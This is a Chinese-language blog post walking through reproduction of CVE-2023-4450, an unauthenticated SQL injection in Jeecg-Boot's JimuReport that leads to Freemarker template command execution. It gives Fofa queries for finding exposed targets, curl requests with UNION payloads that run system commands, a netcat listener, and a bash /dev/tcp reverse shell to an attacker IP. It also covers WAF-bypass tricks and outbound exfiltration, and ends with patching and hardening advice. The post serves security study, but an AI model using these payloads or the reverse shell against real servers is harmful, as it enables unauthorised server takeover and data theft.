从SQL注入到RCE:Jeecg-Boot积木报表CVE-2023-4450漏洞复现与深度剖析 1. 项目概述一次从资产测绘到漏洞利用的完整实战最近在梳理一些开源项目的安全历史时Jeecg-Boot积木报表模块的CVE-2023-4450漏洞引起了我的注意。这是一个典型的未授权远程代码执行漏洞影响面广且利用链清晰非常适合作为安全研究或渗透测试学习的案例。这个漏洞的核心并不复杂但整个从发现目标到最终获取权限的过程却涵盖了现代攻防演练中几个非常关键的环节如何使用网络空间测绘引擎如Fofa精准定位资产、如何快速验证漏洞是否存在、以及如何构造有效的利用载荷。今天我就把自己复现这个漏洞的完整过程、踩过的坑以及一些思考记录下来希望能给同样在钻研Web安全的朋友们提供一个清晰的参考。无论你是刚入门的安全爱好者还是想巩固一下实战流程的从业者跟着走一遍应该都能有所收获。简单来说CVE-2023-4450漏洞存在于Jeecg-Boot低代码开发平台的“积木报表”模块中。攻击者无需登录可以直接访问一个特定的API接口通过注入恶意代码到SQL查询中最终利用Freemarker模板引擎的特性执行任意系统命令。这意味着如果一个使用了受影响版本积木报表的Jeecg-Boot系统暴露在公网上攻击者就可能直接接管服务器。下面我们就从如何找到这样的目标开始。2. 漏洞原理深度剖析SQL注入到RCE的链式反应在动手复现之前我们必须先吃透漏洞的原理。一知半解地照搬利用代码是危险的也学不到东西。CVE-2023-4450的本质是一条从“未授权访问”到“SQL注入”最终触发“Freemarker模板注入”并实现“远程代码执行”的攻击链。我们一层层拆开来看。2.1 漏洞入口未授权的API接口漏洞的起点是/jmreport/queryFieldBySql这个接口。根据官方文档和代码分析这个接口的设计初衷是让积木报表模块能够动态地执行用户配置的SQL语句以获取报表的字段信息。问题在于这个接口没有配置任何形式的身份认证或授权检查。在Jeecg-Boot中权限控制通常通过注解如RequiresPermissions或拦截器实现但这个接口被遗漏了。这就导致了第一个致命问题任何能访问到该应用URL的人都可以直接调用这个接口。2.2 核心漏洞点SQL语句的动态拼接与执行接口会接收一个名为sql的HTTP参数并将其直接用于数据库查询。在安全的编程实践中对于动态SQL必须使用参数化查询PreparedStatement来防止注入。但在这里代码采用了简单的字符串拼接方式。伪代码逻辑类似于String userSql request.getParameter(sql); String fullSql SELECT * FROM ( userSql ) tmp LIMIT 1; // 然后执行 fullSql当攻击者传入的sql参数不只是一个简单的SELECT语句而是包含了SQL注释、联合查询甚至内联的表达式时危险就产生了。但这里的目标不是进行传统的数据窃取或篡改而是为下一步的Freemarker利用铺路。2.3 关键跳板查询结果流入Freemarker模板Jeecg-Boot使用了Freemarker作为其模板引擎。积木报表模块会将数据库查询的结果集作为数据模型Data Model传递给Freemarker进行渲染最终生成报表页面。重点来了Freemarker允许在模板中执行一些内置函数和表达式。攻击者通过SQL注入可以“控制”查询返回的数据内容。想象一下我们通过SQL注入让数据库查询返回一条记录其中一个字段的值不是普通数据而是一个特殊的Freemarker表达式比如${“freemarker.template.utility.Execute”?new()(“whoami”)}。当这个被“污染”的数据被传递给Freemarker引擎处理时引擎会忠实地执行这个表达式。2.4 最终执行Freemarker的“new”函数与命令执行Freemarker的?new()函数可以实例化一个Java类。freemarker.template.utility.Execute这个类提供了一个执行操作系统命令的构造函数。因此表达式${“freemarker.template.utility.Execute”?new()(“whoami”)}的含义就是实例化一个Execute对象并将“whoami”作为命令传递给它的构造函数并执行。这样一来SQL注入的结果就成功“转换”成了服务器上的命令执行完成了从Web层到系统层的突破。注意不同版本的Freemarker对安全特性的限制不同。在一些较高版本中默认配置可能禁止了?new()函数或限制了可实例化的类。这也是为什么该漏洞有特定的版本影响范围。在复现时需要匹配存在漏洞的Jeecg-Boot和Freemarker版本。总结一下漏洞链未授权访问 - 传入恶意SQL - SQL注入使查询返回恶意字符串 - 该字符串作为Freemarker表达式被解析 - 表达式实例化危险类并执行系统命令。理解了这个链条我们构造利用载荷时就胸有成竹了。3. 实战环境搭建与目标搜寻纸上得来终觉浅绝知此事要躬行。接下来我们进入实战环节。首先需要准备一个用于测试的漏洞环境。强烈建议所有测试都在本地或完全可控的隔离虚拟机中进行严禁对未经授权的任何公网系统进行测试。3.1 本地漏洞环境搭建最可靠的方式是本地搭建一个存在漏洞的Jeecg-Boot版本。我们可以通过历史版本代码或者直接使用Docker来快速构建。方法一使用Docker推荐网络上存在一些安全研究人员为漏洞复现构建的Docker镜像可以极大节省时间。例如可以使用以下命令拉取并运行一个包含漏洞的环境# 假设存在一个名为vulhub的漏洞环境集合 cd vulhub/jeecg-boot/CVE-2023-4450 docker-compose up -d等待容器启动后通常访问http://localhost:8080即可看到Jeecg-Boot的登录页面。这种环境通常已经配置好数据库和示例数据开箱即用。方法二手动编译历史版本如果你希望更深入地了解代码可以从GitHub上拉取Jeecg-Boot的历史版本代码。漏洞影响的是特定版本范围内的积木报表模块jeecg-module-report。你需要找到一个包含漏洞版本的代码例如2.4.5之前的某个版本。然后使用Maven进行编译打包git clone --branch 有漏洞的分支 https://github.com/jeecgboot/jeecg-boot.git cd jeecg-boot mvn clean package -DskipTests将生成的war包或jar包部署到Tomcat或直接运行。同时需要手动创建和初始化数据库过程相对繁琐。实操心得对于快速复现和学习Docker方式是最优选择。它避免了复杂的依赖和环境问题让你能聚焦在漏洞本身。记得在测试结束后运行docker-compose down来清理环境。3.2 使用Fofa进行公网资产搜寻仅用于理解技术在真实的安全评估或渗透测试授权项目中安全工程师可能需要定位客户资产中是否存在此类漏洞。这时网络空间测绘引擎如Fofa就成为了利器。这里我们仅以技术学习为目的演示如何构造搜索语法请勿用于未授权测试。Fofa的搜索语法非常强大。针对Jeecg-Boot我们可以从以下几个特征入手特定标题或关键字Jeecg-Boot登录页面有独特的标题。特定路径Jeecg-Boot有一些默认的静态资源路径。积木报表模块特有路径直接定位到存在漏洞的模块。一个比较精准的搜索语法可以是titleJeecg-Boot || body/jmreport/design/index或者更宽泛一些bodyjeecg-boot body积木报表在Fofa的搜索结果中你可以看到目标的IP、端口、协议以及部分HTTP响应头信息。点击“查看”可以快速访问该网站如果开放了Web服务。请务必牢记仅对你拥有书面授权证明的系统进行安全测试。对于学习而言在本地环境复现已经完全足够。4. 漏洞复现与利用全流程解析环境准备好了现在我们开始一步步攻击我们自己的本地靶机。4.1 第一步验证未授权访问与接口存在首先我们直接访问漏洞接口确认其是否存在且未授权。使用浏览器或curl命令curl -X POST http://localhost:8080/jeecg-boot/jmreport/queryFieldBySql如果接口存在且未受保护你可能会收到一个错误响应比如提示sql参数为空。这反而是一个好信号说明接口是开放的。如果返回404则可能路径不对有些部署上下文路径可能是/或/jeecg或者版本不对。如果返回403或重定向到登录页则说明该环境可能已经过修补或配置了全局安全策略。4.2 第二步构造SQL注入载荷我们的目标不是进行盲注或拖库而是要通过SQL注入让数据库查询返回一个我们精心构造的Freemarker表达式字符串。这里需要根据后端数据库类型来构造。Jeecg-Boot默认支持MySQL等数据库。针对MySQL的Payload构造思路我们需要让SELECT * FROM (用户输入) tmp LIMIT 1这个查询返回一个包含恶意表达式的字段。可以通过UNION SELECT来实现。首先需要确定原查询返回的列数。可以通过不断递增UNION SELECT后的NULL数量直到页面不报错来确定。例如sql1) UNION SELECT NULL-- - sql1) UNION SELECT NULL,NULL-- - ...假设我们探测出列数为3。那么我们就可以构造最终的Payload让其中一个字段比如第一个的值是我们的恶意表达式。由于表达式包含特殊字符在SQL中需要正确处理字符串和转义。一个经典的Payload如下假设列数为3sql1) UNION SELECT ${freemarker.template.utility.Execute?new()(id)},NULL,NULL-- -这个Payload的意思是执行一个错误的查询1‘)使其失败然后通过UNION联合查询返回一行数据其中第一列的值是字符串${“freemarker.template.utility.Execute”?new()(“id”)}第二、三列为NULL。注意事项这里单引号的闭合和注释符-- -的使用是关键。实际测试时由于参数通过HTTP传输需要根据后端框架对参数的处理方式如URL解码、特殊字符过滤进行微调。有时可能需要使用URL编码如空格用或%20单引号用%27。4.3 第三步发送恶意请求触发RCE将构造好的Payload通过POST请求发送给目标接口。我们可以使用curl命令来演示curl -X POST http://localhost:8080/jeecg-boot/jmreport/queryFieldBySql \ -H Content-Type: application/x-www-form-urlencoded \ -d sql1) UNION SELECT ${freemarker.template.utility.Execute?new()(id)},NULL,NULL-- -如果漏洞存在Freemarker引擎在处理查询结果时会执行${...}中的表达式即运行系统命令id。命令执行的结果通常会直接输出在HTTP响应中也可能因为模板渲染错误而出现在错误信息里。更通用的利用方式在实际利用中我们更希望执行任意命令并获取其输出。可以尝试使用curl或wget将命令结果外带到我们的服务器或者使用ping命令来测试盲注如果无回显。例如执行whoami并查看响应curl -X POST http://localhost:8080/jeecg-boot/jmreport/queryFieldBySql \ -d sql1) UNION SELECT ${freemarker.template.utility.Execute?new()(whoami)},NULL,NULL-- -在响应HTML中搜索root、www-data、administrator等用户名关键词如果找到则证明命令执行成功。4.4 第四步获取交互式Shell单纯执行命令并查看回显对于复杂操作来说很不方便。下一步的目标是获取一个反向Shell从而获得一个交互式的命令行环境。1. 在攻击机上监听在你自己控制的外网服务器或本地虚拟机的另一个终端上使用Netcat监听一个端口nc -lvnp 44442. 构造反弹Shell命令Linux下常用的反弹Shell命令是bash -c bash -i /dev/tcp/攻击机IP/4444 01我们需要将这个命令作为字符串嵌入到之前的Freemarker表达式中。由于命令中包含了空格、单引号、重定向符号等需要格外小心地处理转义和URL编码。3. 构造最终的HTTP请求一个经过编码的Payload可能长这样假设攻击机IP为192.168.1.100sql1‘)UNIONSELECT‘${“freemarker.template.utility.Execute”?new()(“bash-c‘bash-i%26/dev/tcp/192.168.1.100/44440%261’”)}’,NULL,NULL--重要提示这里的转义非常复杂。在实际操作中我强烈建议使用Burp Suite这类工具。先在Repeater模块中构造一个简单的Payload测试通然后逐步替换为复杂的反弹Shell命令并观察编码情况。也可以使用Python等脚本动态生成正确编码的Payload。如果一切顺利你会在Netcat监听端看到来自目标服务器的连接并得到一个Shell。至此漏洞复现的全流程就完成了。5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。如果你是Jeecg-Boot的使用者或开发者请务必立即采取以下措施。5.1 官方修复方案Jeecg-Boot官方在漏洞披露后发布了安全更新。最根本的修复方案是升级版本将Jeecg-Boot及积木报表模块升级到官方发布的最新安全版本。这是最直接有效的方法。官方补丁查看官方GitHub仓库的Security Advisories或提交历史找到针对CVE-2023-4450的修复commit。修复通常涉及两个方面接口鉴权在/jmreport/queryFieldBySql接口上添加严格的权限校验注解如RequiresPermissions。输入过滤对传入的sql参数进行严格的过滤或白名单校验禁止执行非预期的SQL语句。或者彻底重构该功能使用参数化查询等安全方式。5.2 临时缓解措施如果因故无法立即升级可以采取以下临时措施降低风险网络层访问控制在防火墙或WAFWeb应用防火墙上设置规则禁止外部IP访问/jmreport/queryFieldBySql路径。确保该接口仅能被内部可信网络或管理后台访问。应用层拦截在项目的全局拦截器或过滤器中添加对该路径的访问控制逻辑强制要求用户登录并具备相应角色。禁用Freemarker危险函数在Freemarker的配置中通过freemarker.template.utility设置限制或禁止Execute、ObjectConstructor等危险类的实例化。但这可能影响其他正常功能需谨慎评估。5.3 安全开发规范从根源上避免此类漏洞需要在开发阶段就建立安全意识默认拒绝所有API接口除非明确需要公开否则都应默认要求身份认证和权限校验。使用框架提供的安全注解是高效的方式。输入即原罪对所有用户输入包括参数、Header、Cookie都视为不可信的。进行严格的校验、过滤和转义。对于SQL必须使用预编译PreparedStatement或安全的ORM框架。最小权限原则应用程序连接数据库的账户不应具有FILE、EXECUTE或GRANT等高权限。运行应用的服务器进程也应使用非root低权限用户。依赖组件管理定期梳理和升级项目依赖的第三方库如Freemarker、Fastjson等关注其安全公告及时修补已知漏洞。6. 复现过程中的常见问题与排查技巧在复现过程中你可能会遇到各种问题。这里我记录了几个典型问题和解决方法。6.1 问题一接口返回404或405错误可能原因1路径错误。Jeecg-Boot的上下文路径Context Path可能不是默认的/jeecg-boot。检查应用启动日志或访问其登录页查看静态资源的路径前缀。排查访问http://目标:端口/或http://目标:端口/jeecg观察是否能打开登录页。用浏览器开发者工具查看任意一个静态资源如JS、CSS的完整URL即可确定上下文路径。可能原因2请求方法错误。虽然漏洞利用通常用POST但有些环境可能只接受GET或者反过来。排查尝试用curl -X GET或curl -X POST分别测试并观察响应。6.2 问题二SQL注入不成功无回显可能原因1SQL语法不兼容。Payload中的注释符-- -在特定数据库如Oracle中可能无效。排查尝试换用其他注释符如MySQL的#需URL编码为%23。或者调整Payload结构避免使用注释直接闭合原SQL语句。可能原因2存在WAF或简单过滤。应用可能对union、select等关键字进行了简单过滤或转义。排查尝试使用大小写混合、双写关键字如uniunionon、或使用等价函数/语句替换。也可以尝试使用基于布尔或时间的盲注Payload来测试注入点是否真的存在。6.3 问题三Freemarker表达式未执行可能原因1Freemarker版本较高安全配置已启用。高版本Freemarker默认可能禁止了?new()函数。排查尝试使用其他已知的Freemarker模板注入Payload如#assign exfreemarker.template.utility.Execute?new() ${ ex(id) }。或者尝试读取系统属性${“user.dir”}来测试简单的表达式注入是否生效。可能原因2返回的数据未被当作Freemarker表达式解析。可能查询结果经过了HTML编码或其他处理${被转义了。排查查看HTTP响应确认你注入的字符串是否原封不动地出现在返回的HTML或JSON中。如果被转义如dollar;{则需要找到未被转义的输出点。6.4 问题四命令执行成功但无回显/不回连可能原因1目标服务器出网受限。服务器可能处于内网或防火墙策略禁止了外发连接到你的监听端口。排查先尝试执行一个能直接在响应中看到结果的命令如whoami或ping -c 1 127.0.0.1看响应时间。如果whoami有回显但反弹Shell不成功大概率是网络问题。可能原因2反弹Shell命令语法问题。不同Linux发行版的Shellbash, sh, zsh以及不同工具nc, socat的语法有差异。排查尝试使用更通用的命令如sh -i /dev/tcp/...。或者使用多种编码方式生成Payload并用Burp Suite反复测试。也可以考虑使用curl或wget将命令结果上传到公网服务器作为替代方案。实操心得漏洞复现很少能一次成功。耐心和细致的观察是关键。一定要充分利用Burp Suite的Repeater和Decoder模块对比请求与响应一点点调整Payload。每次只改变一个变量才能准确定位问题所在。